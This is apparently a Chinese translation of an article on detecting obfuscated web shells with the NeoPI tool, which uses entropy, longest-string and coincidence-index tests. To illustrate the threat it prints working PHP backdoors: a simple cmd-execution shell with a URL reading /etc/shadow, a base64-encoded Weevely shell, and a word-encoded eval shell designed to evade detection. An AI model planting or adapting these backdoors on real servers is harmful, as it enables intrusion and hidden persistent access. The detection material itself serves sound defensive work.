自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

這些討厭的"shell"到底做了什么?

原創(chuàng)
安全 黑客攻防
網(wǎng)頁服務(wù)器已經(jīng)成為當(dāng)前惡意活動的主要目標(biāo)之一,而且常常被視為機(jī)構(gòu)基礎(chǔ)設(shè)施內(nèi)部的主要薄弱環(huán)節(jié)。網(wǎng)頁應(yīng)用程序代碼總是在相關(guān)機(jī)構(gòu)部署之后就被忘在一邊或是處于無人維護(hù)的狀態(tài),這就使其很容易作為整套體系中的缺口受到攻擊。

【51CTO.com 獨(dú)家譯稿】網(wǎng)頁服務(wù)器已經(jīng)成為當(dāng)前惡意活動的主要目標(biāo)之一,而且常常被視為機(jī)構(gòu)基礎(chǔ)設(shè)施內(nèi)部的主要薄弱環(huán)節(jié)。網(wǎng)頁應(yīng)用程序代碼總是在相關(guān)機(jī)構(gòu)部署之后就被忘在一邊或是處于無人維護(hù)的狀態(tài),這就使其很容易作為整套體系中的缺口受到攻擊。網(wǎng)頁應(yīng)用程序在開發(fā)中常常會用到例如PHP,Python,Ruby以及Perl等腳本語言。由于這些語言自身的復(fù)雜性,因此很容易導(dǎo)致網(wǎng)頁應(yīng)用程序在執(zhí)行任意腳本代碼的過程中產(chǎn)生安全問題。

這些討厭的"shell"到底做了什么?

當(dāng)上述條件得到滿足時,攻擊者們往往會尋求一種利用部署網(wǎng)頁shell代碼并進(jìn)行持續(xù)訪問的方式來發(fā)動入侵。這種代碼會建立起一套可以順利訪問網(wǎng)頁服務(wù)器的"虛擬"shell。這種shell通常會在系統(tǒng)接受的指令執(zhí)行及文件訪問動作中,夾雜其它討厭的惡意功能。

設(shè)想一下,當(dāng)你意識到自己正在管理的某個網(wǎng)站有可能存在安全漏洞。你在網(wǎng)頁服務(wù)器上所共享的PHP頁面數(shù)以千計,而攻擊者可能在其中的數(shù)個乃至更多頁面上植入了后門程序。當(dāng)然你會嘗試通過對系統(tǒng)進(jìn)行掃描并檢查IDS(即入侵檢測系統(tǒng))日志文件來解決問題,但我們也可以想到,后門也許有能力對該運(yùn)行環(huán)境進(jìn)行自定義修改。如此一來,基于認(rèn)證簽名來發(fā)揮作用的工具將變得毫無用處。在這種情況下,我們該如何檢測及清除此類殺毒軟件及IDS無法尋獲的后門呢?

這里我們所討論的后門類型僅限于網(wǎng)頁shell。網(wǎng)頁shell型后門可被定義為:以一種非公開的方式在動態(tài)服務(wù)器端的網(wǎng)頁頁面中獲取對計算機(jī)系統(tǒng)控制臺的訪問權(quán)限。一般來說這些網(wǎng)頁shell構(gòu)造簡單、易于檢測。舉例說明,讓我們一起看看下面這個PHP文件:

  1. if(isset($_REQUEST['cmd'])){  
  2. echo "  
  3. <pre>";  
  4.         $cmd = ($_REQUEST['cmd']);  
  5.         system($cmd);  
  6.         echo "</pre>  
  7. ";  
  8. die;  
  9. }  
  10. ?&gt;  

這個shell的構(gòu)造十分簡單,并允許攻擊者只需輸入如下圖所示的網(wǎng)址即可輕松執(zhí)行命令:

  1. http://comprimised-system.com/simple-backdoor.php?cmd=cat+/etc/shadow 

而更復(fù)雜的網(wǎng)頁shell則包含了與控制臺的交互方式及文件編輯等內(nèi)容。C99 shell所提供的自述文件(C99 shell是一款已經(jīng)誕生將近十年的后門工具)中,規(guī)定了如下的特性:

  1. SQL Manager  
  2. Visual File Manager (Many Features)  
  3. PHP Eval 
  4. Mail Bomber  
  5. Get all readable home directories  
  6. … 

我們怎樣檢測出未加密的shell?

像C99這樣的shell能夠通過制定一些關(guān)鍵詞搜索的方式被檢測出來,當(dāng)然使用一款基于簽名認(rèn)證的檢測工具也同樣可以做到。我們可以通過檢索下面這一串內(nèi)容來從網(wǎng)頁服務(wù)器中嘗試找出PHP后門(本例子借鑒于Steven Whitney的相關(guān)論著):

  1. grep -RPn "(system|phpinfo|pcntl_exec|python_eval|base64_decode|gzip|mkdir|fopen|fclose|readfile|passthru)"/pathto/webdir/ 

可以想見,這種檢索方式會產(chǎn)生大量誤報,因?yàn)檫@些回饋有很大一部分來自合法的網(wǎng)頁應(yīng)用程序。我們也可以嘗試?yán)妙愃芁inux惡意軟件檢測(簡稱LMD)的工具。我們運(yùn)行Linux惡意軟件檢測來對一款網(wǎng)頁指令型shell所制造的九十個后門進(jìn)行檢測,而LMD能夠通過掃描找出全部九十個后門中的三十七個。這么低的識別率其實(shí)并不奇怪,因?yàn)榫W(wǎng)頁shell中有一些是專門針對Windows操作系統(tǒng)所設(shè)計的。而真正令人驚訝的是Linux惡意軟件檢測并沒能夠識別出諸如isko,shellzx這些致命的網(wǎng)頁shell。

這些保障手段如何對抗自定義類型的shell?

我們還創(chuàng)建了一套自定義的網(wǎng)頁shell。我們使用了Weevely工具來生成了一個惡意并加密了的后門,用以執(zhí)行下列命令:

  1. server# python weevely.py -g -o test_shell.php -p qazwsxedc 

該命令行的效果是生成了一個加密過的網(wǎng)絡(luò)shell,密碼為'qazwsxedc':

  1. eval(base64_decode('cGFyc2Vfc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSwkYSk7IGlmKHJlc 
  2. 2V0KCRhKT09J3FhJyAmJiBjb3VudCgkYSk9PTkpIHsgZWNobyAnPHp3c3hlZGM+JztldmFsKGJhc2U2NF 9kZWNvZGUoc3RyX3JlcGxhY2UoIiAiLCAiKyIsIGpvaW4oYXJyYXlfc2xpY2UoJGEsY291bnQoJGEpLTM pKSkpKTtlY2hvICc8L3p3c3hlZGM+Jzt9′));  
  3. ?&gt; 

我們再次利用LMD對該目錄進(jìn)行檢測,而test_shell.php未被識別出來。

為了克服基于簽名認(rèn)證體系的檢測,有些網(wǎng)頁shell,例如Weevely所生成的那些,通過采取一些特別的結(jié)構(gòu)來規(guī)避檢測的掃描機(jī)制。定制代碼被進(jìn)行壓縮并利用加密技術(shù)來使其內(nèi)容變得更具迷惑性,進(jìn)而逃避偵查。這種情況在對抗基于簽名認(rèn)證或是關(guān)鍵字搜索的檢測系統(tǒng)時尤為高效。此外,在企業(yè)的網(wǎng)頁服務(wù)器上從數(shù)以萬計的文件中查找包含特定內(nèi)容的對象本身也非常困難,因?yàn)樗铏z索的目標(biāo)數(shù)據(jù)的體積太過龐大。

部署一套網(wǎng)頁shell到底有多簡單?

這些shell的部署能夠通過下列方法來加以簡化:命令注入、文件上傳漏洞、不安全的FTP(即文件傳輸協(xié)議)以及包含漏洞的遠(yuǎn)程文件。如果攻擊者能夠使目標(biāo)網(wǎng)頁服務(wù)器執(zhí)行其所提供的后門程序,他們就能夠使shell獲得與網(wǎng)頁服務(wù)器同樣高的權(quán)限來對主機(jī)操作系統(tǒng)進(jìn)行訪問。

如果我們不能夠安全地依靠傳統(tǒng)方法,例如基于簽名認(rèn)證的掃描工具,來檢測網(wǎng)頁shell,那還有其它的備選方案嗎?現(xiàn)在,讓我們一同進(jìn)入NeoPI吧。#p#

NeoPI

概述

NeoPI是一個由Python所編寫的腳本,它使用多種統(tǒng)計方法來檢測存在于文本及腳本文件中的,經(jīng)過偽裝處理或加密過的內(nèi)容。NeoPI的預(yù)期目的是幫助我們定位網(wǎng)頁shell的隱藏代碼標(biāo)識。NeoPI在發(fā)展方面的重心在于創(chuàng)造一套可與其它現(xiàn)有檢測方案(例如Linux惡意軟件檢測或傳統(tǒng)的基于簽名認(rèn)證/密鑰信息的檢索手段)同共作用的強(qiáng)大工具。

NeoPI是一款獨(dú)立的平臺,能夠在安裝了Python 2.6的任何操作系統(tǒng)平臺上運(yùn)行。要運(yùn)行這套腳本的用戶,首先需要獲得讀取計算機(jī)中所有文件的權(quán)限,這樣該工具才能進(jìn)行全盤掃描。

NeoPI將對整個文件系統(tǒng)由基層目錄開始進(jìn)行循環(huán)掃描,并按照一系列檢測結(jié)果對文件進(jìn)行評估分類。這種分類能夠幫助我們識別哪些文件有較高的機(jī)率可能已經(jīng)被經(jīng)過加密的網(wǎng)頁shell所侵入。它同時還提供了一種稱為"總體"評分的系統(tǒng),可以由單獨(dú)的檢測做出個別的文件分類。

分析方式講解

NeoPI利用以下幾種不同的統(tǒng)計方法,來嘗試判斷對象文件中包含惡意代碼的可能性。

最長的字符串

最長的字符串指的是該種檢測手段將文件中長度最長且不間斷的字符串作為判斷標(biāo)識。這種方式相當(dāng)實(shí)用,因?yàn)榻?jīng)過偽造處理的代碼在經(jīng)過編碼的文本文件中往往是作為一條超長的字符串進(jìn)行存儲的。當(dāng)前多數(shù)主流的編碼方法,例如base64編碼,都會產(chǎn)生一個沒有空格字符的超長字符串。由于典型的文本及腳本文件,其內(nèi)容在字符串的長度方面普遍較短,因此找出那些反常的長串字符可能有助于我們識別該文件中是否存在惡意代碼。

  1. longest = 0  
  2. words = re.split("[\s,\n,\r]", data)  
  3. if words:  
  4. for word in words:  
  5. if len(word) &gt; longest:  
  6. longest = len(word)  
  7. return longest 

上述代碼的功能是將某字符串以"單詞"為單位用空格、換行及回車加以拆分后獲得的結(jié)果。其運(yùn)行之后將自動確定那些最長的字符串內(nèi)容并在處理之后返回分析結(jié)果。

熵是一種用來衡量及描述某值在不確定性方面所表現(xiàn)出來的強(qiáng)度的概念。Shannon(Claude Shannon,信息熵概念及符號邏輯與開關(guān)理論的奠基者)位是字節(jié)。該測試通過計算來確定目標(biāo)編碼文件中字節(jié)數(shù)最少的某個文件所必需的"Shannon熵值"。熵測量在識別加密型網(wǎng)頁shell方面功效卓著,因?yàn)榧用苓^程往往會使對象文本字符串的熵值大幅提升。

  1. entropy = 0  
  2. for x in range(256):  
  3. p_x = float(data.count(chr(x)))/len(data)  
  4. if p_x &gt; 0:  
  5. entropy += - p_x * math.log(p_x, 2)  
  6. return entropy 

上面的代碼將對Shannon熵值的具體"數(shù)據(jù)"進(jìn)行計算并返回一個0到8之間的浮點(diǎn)數(shù)。所謂熵值代表的是"數(shù)據(jù)"的字節(jié)熵量。而浮點(diǎn)數(shù)字則相當(dāng)于表示該"數(shù)據(jù)"所必需的字符位數(shù)。一個包含大量隨機(jī)內(nèi)容或特殊信息的文件將需要更多的字符位數(shù)來進(jìn)行描述,也因此產(chǎn)生了較大熵值。利用這種功能來對浮點(diǎn)數(shù)值在從2到8區(qū)間的日志記錄文件進(jìn)行分析,返回的結(jié)果將介于0和1之間。而配合其它計算熵的措施協(xié)同工作,上述分析可能將對識別網(wǎng)頁shell有所幫助。最終獲得的數(shù)值越大,數(shù)據(jù)顯示的各種信息的隨機(jī)性越強(qiáng)、種類越多,也就是說熵量越大。

巧合指數(shù)

巧合指數(shù)(簡稱I.C.)是指一種用來對文本進(jìn)行加密分析或自然語言分析的技術(shù)指標(biāo)。它可以計算某個所有字母的出現(xiàn)機(jī)率相對平均的文本中,其字母組合的出現(xiàn)情況。這類計算往往會在分析不同類型的文本后得出挖的結(jié)論數(shù)值;無論該文本使用的是口頭語言還是腳本語言。這一結(jié)論性數(shù)值在確定諸多同類文件中的異常文本文件中是非常有用的。這可能表明該文件所包含的文本部分有問題,無論是重新編碼操作還是加密過程,都會使結(jié)果偏離正常的字符應(yīng)用分布情況。

  1. char_count = 0  
  2. total_char_count = 0  
  3. for x in range(256):  
  4. char = chr(x)  
  5. charcount = data.count(char)  
  6. char_count += charcount * (charcount - 1)  
  7. total_char_count += charcount  
  8. ic = float(char_count)/(total_char_count * (total_char_count - 1))  
  9. self.ic_results.append({"filename":filename, "IC":ic})  
  10. # Call method to caculate_char_count and append to total_char_count  
  11. self.caculate_char_count(data)  
  12. return ic 

上面的代碼代表對"數(shù)據(jù)"的巧合指數(shù)進(jìn)行計算,并返回一個浮點(diǎn)數(shù)值。#p#

未來發(fā)展

NeoPI在未來的發(fā)展中將遵循以下幾個特點(diǎn):

" 額外的檢測功能及根據(jù)文件格式進(jìn)行良好的檢測調(diào)整可以幫助我們更容易地通過測試發(fā)現(xiàn)細(xì)微的異常情況。舉一個這方面的實(shí)例,比如運(yùn)行并收集各個網(wǎng)頁編程語言的平均巧合指數(shù)。目前所建立的檢測方式在平均巧合指數(shù)方面只考慮到了文件內(nèi)容的普遍情況,而未參照不同編程語言對其造成的影響。因此,要創(chuàng)建這樣一套比照體系可能需要制作出非常大的Phthon代碼庫,用以進(jìn)行巧合指數(shù)掃描以及結(jié)論信息的存儲。否則可以預(yù)見,某個特定的Python文件極有可能因?yàn)槠鋬?nèi)容的特殊性而被巧合指數(shù)掃描誤認(rèn)為存在惡意代碼。

" 熵模塊則是另一項(xiàng)我們希望將其補(bǔ)充進(jìn)傳統(tǒng)統(tǒng)計分析過程的功能。熵模塊將使我們能夠讀取基于預(yù)定義模塊尺寸的文件并分析其特定部分的熵值。這可能會對識別那些利用結(jié)合英文文本及加密模塊來回避檢測的網(wǎng)頁shell有所幫助。

" 引入多線程機(jī)制來加快文件的分析速度,這將對把此套檢測系統(tǒng)推廣到大型網(wǎng)絡(luò)上非常有利。

最后,我們還計劃向其中添加一些基本特征掃描,以為檢測網(wǎng)頁shell提供輔助機(jī)制。

如何使用

NeoPI具備獨(dú)立的運(yùn)行平臺,因此無論是Linux還是Windows都能成為其發(fā)揮作用的舞臺。要開始使用NeoPI,我們首先要從自己的github(即網(wǎng)站全局導(dǎo)航)代碼庫或從網(wǎng)上獲取到必備的代碼。

  1. git clone ssh://git@github.com:Neohapsis/NeoPI.git 

這套小巧的NeoPI腳本現(xiàn)在就保存在我們的本地目錄中了。我們先舉幾個Linux系統(tǒng)上應(yīng)用的實(shí)例,然后再轉(zhuǎn)向Windows平臺。

讓我們在運(yùn)行neopi.py時加入-h參數(shù)來察看選項(xiàng)。

  1. [sbehrens@WebServer2 opt]$ ./neopi.py -h  
  2. Usage: neopi.py [options]  
  3.    
  4. Options:  
  5. -version             show program's version number and exit 
  6. -h, -help            show this help message and exit 
  7. -C FILECSV, -csv=FILECSV  
  8. generate CSV outfile  
  9. -a, -all             Run all tests [Entropy, Longest Word, Compression  
  10. -e, -entropy         Run entropy Test  
  11. -l, -longestword     Run longest word test  
  12. -c, -ic              Run IC test  
  13. -A, -auto            Run auto file extension tests 

讓我們將這些選項(xiàng)再進(jìn)一步細(xì)化。

  1. -C FILECSV, -csv=FILECSV 

這將生成一個CSV輸出文件,其中包含了掃描的結(jié)果。

-a, -all這將使NeoPI運(yùn)行全部測試,包括熵量、最長字符串以及巧合指數(shù)檢測。在一般情況下,我們建議大家運(yùn)行全部測試項(xiàng)目,這樣可以盡可能地建立起最為全面的網(wǎng)頁shell名單。

-e, -entropy以上參數(shù)的加入會使掃描過程中只進(jìn)行熵量測試。

-l, -longestword以上參數(shù)的加入會使掃描過程中只進(jìn)行最長字符串測試。

-c, -ic以上參數(shù)的加入會使掃描過程只進(jìn)行巧合指數(shù)測試。

-A, -auto

#p#

以上參數(shù)的加入會使掃描自動生成一個正式的書面列表,其中囊括了許多常見的網(wǎng)頁應(yīng)用程序文件擴(kuò)展名。該列表并不全面,但包含了一種很好用的設(shè)置功能,即當(dāng)我們不確定自己的服務(wù)器上所運(yùn)行的網(wǎng)頁應(yīng)用程序是利用何種語言所編寫時,它會"盡量"為其匹配合適的設(shè)置以進(jìn)行掃描。當(dāng)前列表所支持的擴(kuò)展名如下:

  1. valid_regex =re.compile('\.php|\.asp|\.aspx|\.sh|\.bash|\.zsh|\.csh|\.tsch|\.pl|\.py|\.txt|\.cgi|\.cfm'

現(xiàn)在我們對參數(shù)已經(jīng)比較熟悉,并且已經(jīng)從GIT處下載得到了一套腳本,讓我們繼續(xù)進(jìn)行,將其運(yùn)行于可能被網(wǎng)頁shell所感染的網(wǎng)絡(luò)服務(wù)器上吧。為了事先了解最終掃描出的危險結(jié)果大概有多少頁,我們可以運(yùn)行如下命令:

 

需要強(qiáng)調(diào)的是,我們關(guān)注的并不是那些常見的圖形模式。從這里我們可以看到,這類網(wǎng)絡(luò)服務(wù)器上擁有數(shù)量龐大的網(wǎng)頁。好吧,假如我可以自信地告訴大家,我的網(wǎng)絡(luò)服務(wù)器只支持PHP類型的網(wǎng)頁,那么看看在僅需處理這一類網(wǎng)頁的情況下,我們得面對多少個頁面吧:

我們可以看到,網(wǎng)絡(luò)服務(wù)器中包含近四千個PHP頁面。繼續(xù)前進(jìn),我們在整個網(wǎng)頁目錄中安置四套網(wǎng)頁shell程序。它們分別是一套經(jīng)過完全加密的網(wǎng)頁shell、一套C99型shell、一套包含加密機(jī)制與純文本內(nèi)容的混合shell及一個由Weevely所生成的shell。這些文件都經(jīng)過了必要的修改,以防被基于簽名認(rèn)證體系的檢測系統(tǒng)輕易發(fā)現(xiàn)。這一整套模擬環(huán)境是為了還原前面我們談到的情況,即我們似乎意識到某個惡意的網(wǎng)頁shell已然存在于自己的網(wǎng)頁底層,但其于認(rèn)證的惡意軟件檢測工具似乎無法找到任何危險文件。讓我們繼續(xù)運(yùn)行NeoPI,看看它能不能幫我們解決問題。

  1. [sbehrens@WebServer2 opt]$ sudo ./neopi.py -C scan1.csv -a -A /var/www/ 

這就是輸出的全部掃描結(jié)果

這就是輸出的全部掃描結(jié)果。我們可以看到巧合指數(shù)平均值測試所找出的可疑文件數(shù)最多。這為我們提供一個巧合指數(shù)的平均值--0.0372。需要指出的是,通過分析所得出的巧合指數(shù)平均值并不具備標(biāo)準(zhǔn)的共同特點(diǎn)。另外一個有趣的現(xiàn)象是,對于一篇字母使用情況較為平均的英文文本的分析結(jié)果而言,其巧合指數(shù)平均值為0.0385。該工具將優(yōu)先顯示指數(shù)平均值最低的那些文件。我們可以看到shell3.php文件的巧合指數(shù)似乎存在異常。我們同樣能看到Weevely,shell2.php以及shell.php被列入了可疑名單。接下來,我們繼續(xù)看看熵量測試的結(jié)論,它所揪出的嫌疑人包括shell3.php,shell2.php以及Weevely。而最長字符串測試在全面檢測方面的作用也得到了驗(yàn)證,shell3.php和shell2.php的加密后門被及時發(fā)現(xiàn)了。#p#

我們粗略計算了全部上述三種功能的平均數(shù),并嘗試通過它來向大家說明這三種功能找出危險文件的概率。正如上圖所示,在綜合排名最高的前十個文件中,NeoPI能夠準(zhǔn)確識別出shell3.php,weevely.php以及shell.php。shell2.php因?yàn)槲催M(jìn)行加密,所以只被巧合指數(shù)及熵量這兩項(xiàng)測試所發(fā)現(xiàn),但最終其并未出現(xiàn)在結(jié)論性的危險文件列表中。我們強(qiáng)烈建議大家在參考整體檢測結(jié)果的同時,也別忘記關(guān)注那些在單項(xiàng)檢測中出現(xiàn)異常的文件。

Windows

該工具同時可與Windows系統(tǒng)兼容。在下面的例子中,我們用正式的列表來將搜索局限于PHP及文本類型的文件中。

  1. python neopi.py -a c:\temp\phpbb "php|txt" 

 

NeoPI的弱點(diǎn)所在

對于所有的惡意軟件檢測工具來說,都存在著一定的方法來避免被其檢測到。NeoPI的檢測重心在于識別混淆代碼,而事實(shí)上它常常在識別模糊代碼方面表現(xiàn)得更好。未經(jīng)模糊處理的代碼對于NeoPI的檢測機(jī)制來說是透明的,并能夠完美地整合于系統(tǒng)中的其它代碼上(但這很容易被基于簽名認(rèn)證或表達(dá)搜索的檢測工具發(fā)現(xiàn))。如果以這樣的處理方式來對惡意代碼進(jìn)行加工,這種看起來很正常的文本將極可能無法被NeoPI識別出。因?yàn)槭紫?,這類代碼可能會被編碼/解碼成有效的英文單詞或腳本語言文字,這種編碼類型的字符串將很可能避過巧合指數(shù)測試的法眼,因?yàn)槠渥帜赋霈F(xiàn)頻率與真正的代碼保持一致。它同樣在熵值上與合法文件具有統(tǒng)一性;而最后,只要其在存儲方式上也足夠小心,將完全能夠逃脫最長字符串測試這一關(guān)。

下面這個例子就能夠以簡單的編碼機(jī)制成功逃避NeoPI的代碼檢測。而它正是基于文章開頭我們所提到的結(jié)構(gòu)松散的PHP類shell。

  1. $string = "iguana frog EATS iguana seal seal elk tiger EATS SPRINTS PEES GOAT ELK TIGER PUKES JUMPS cat mole dog JUMPS KILLS SLEEPS SLEEPS GIGGLES SPACE elk cat hog olm SPACE TICK GIGGLES SPRINTS PEES GOAT ELK TIGER PUKES JUMPS cat mole dog JUMPS KILLS POOPS TICK MURDERS SPACE POOPS";  
  2. $dict = array(  
  3. "a" =&gt; ""ardvark","b" =&gt; "bat","c" =&gt; "cat","d" =&gt; "dog","e" =&gt; "elk","f" =&gt; "frog","g" =&gt; "goat","h" =&gt; "hog","i" =&gt; "iguana","j" =&gt; "jackal","k" =&gt; "kiwi","l" =&gt; "lion","m" =&gt; "mole","n" =&gt; "newt","o" =&gt; "olm","p" =&gt; "pig","q" =&gt; "quail","r" =&gt; "rat","s" =&gt; "seal","t" =&gt; "tiger","u" =&gt; "vulture","v" =&gt; "wasp","x" =&gt; "xena","y" =&gt; "yak","z" =&gt; "zebra"," " =&gt; "space","(" =&gt; "eats",")" =&gt; "sleeps","." =&gt; "sneezes","[" =&gt; "pukes","]" =&gt; "kills","'" =&gt; "jumps","\"" =&gt; "rolls",";" =&gt; "murders","=" =&gt; "dances","\$" =&gt; "sprints","{" =&gt; "giggles","}" =&gt; "poops","_" =&gt; "pees","&lt;" =&gt; "falls","&gt;" =&gt; "vomits","?" =&gt; "coughs","`" =&gt; "tick");  
  4. function decode($string$array) {  
  5. $output = "";  
  6. $words = explode(" "$string);  
  7. foreach ($words as $word) {  
  8. $upper = isUpper($word);  
  9. $word = strtolower($word);  
  10. if ($key = array_search($word$array)) {  
  11. if ($upper$key = strtoupper($key);  
  12. $output = "{$output}{$key}";  
  13. else {  
  14. $output = "{$output}{$word}";  
  15. }  
  16. }  
  17. return $output;  
  18. }  
  19. function isUpper($char) {  
  20. if (strtoupper($char) == $charreturn true;  
  21. return false;  
  22. }  
  23. eval(decode($string$dict));  
  24. ?&gt;  

結(jié)論

網(wǎng)頁shell一直是種被忽視的威脅類型,難以察覺,并能夠利用一些簡單的手段逃避檢測。我們已經(jīng)討論了利用包括熵量、最長字符串以及其它一些技術(shù)指示進(jìn)行比照實(shí)驗(yàn)以檢測這些惡意文件的方法。NeoPI希望能夠不斷發(fā)展并提供其它更新更好的測試方式,以便讓更多類型的惡意文件無所遁形。

原文鏈接:http://resources.infosecinstitute.com/web-shell-detection/

【51CTO.com獨(dú)家譯稿,非經(jīng)授權(quán)謝絕轉(zhuǎn)載!合作媒體轉(zhuǎn)載請注明原文出處及出處!】

【編輯推薦】

  1. WEBSHELL提升權(quán)限又一招(Mysql漏洞)
  2. 網(wǎng)站后門的防范方法以及安全配置
  3. Linux下通過WebShell反彈Shell的技巧
  4. 加固IIS讓W(xué)ebshell的簡單概述
責(zé)任編輯:佟健 來源: 51CTO.com
相關(guān)推薦

2011-11-29 09:10:11

Hadoop

2016-11-17 15:35:51

RxJava操作Subscriber

2017-12-06 14:35:01

OpenStackCeph存儲

2018-05-22 08:37:02

Ceph存儲存儲系統(tǒng)

2019-05-14 09:18:18

程序員PythonJava

2017-10-11 13:42:40

DIY裝機(jī)電腦

2022-12-07 07:33:54

Java啟動類項(xiàng)目

2009-07-08 18:07:58

jvm jre

2016-01-29 10:05:13

酒店服務(wù)業(yè)大數(shù)據(jù)大數(shù)據(jù)分析

2018-09-08 09:46:06

數(shù)據(jù)庫性能優(yōu)化

2014-09-22 10:06:07

2021-11-28 08:32:34

shell命令系統(tǒng)

2015-03-23 10:16:35

蘋果庫克

2020-07-01 07:36:48

Kubernetes容器

2025-02-21 10:01:35

2025-03-13 08:33:37

RPMTPM代碼

2024-04-01 08:48:38

Node.jsnpmNode

2021-05-07 11:25:29

項(xiàng)目網(wǎng)關(guān)流量

2012-05-28 10:00:01

開源盈利華爾街

2017-01-21 14:57:43

Linuxsystemd
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號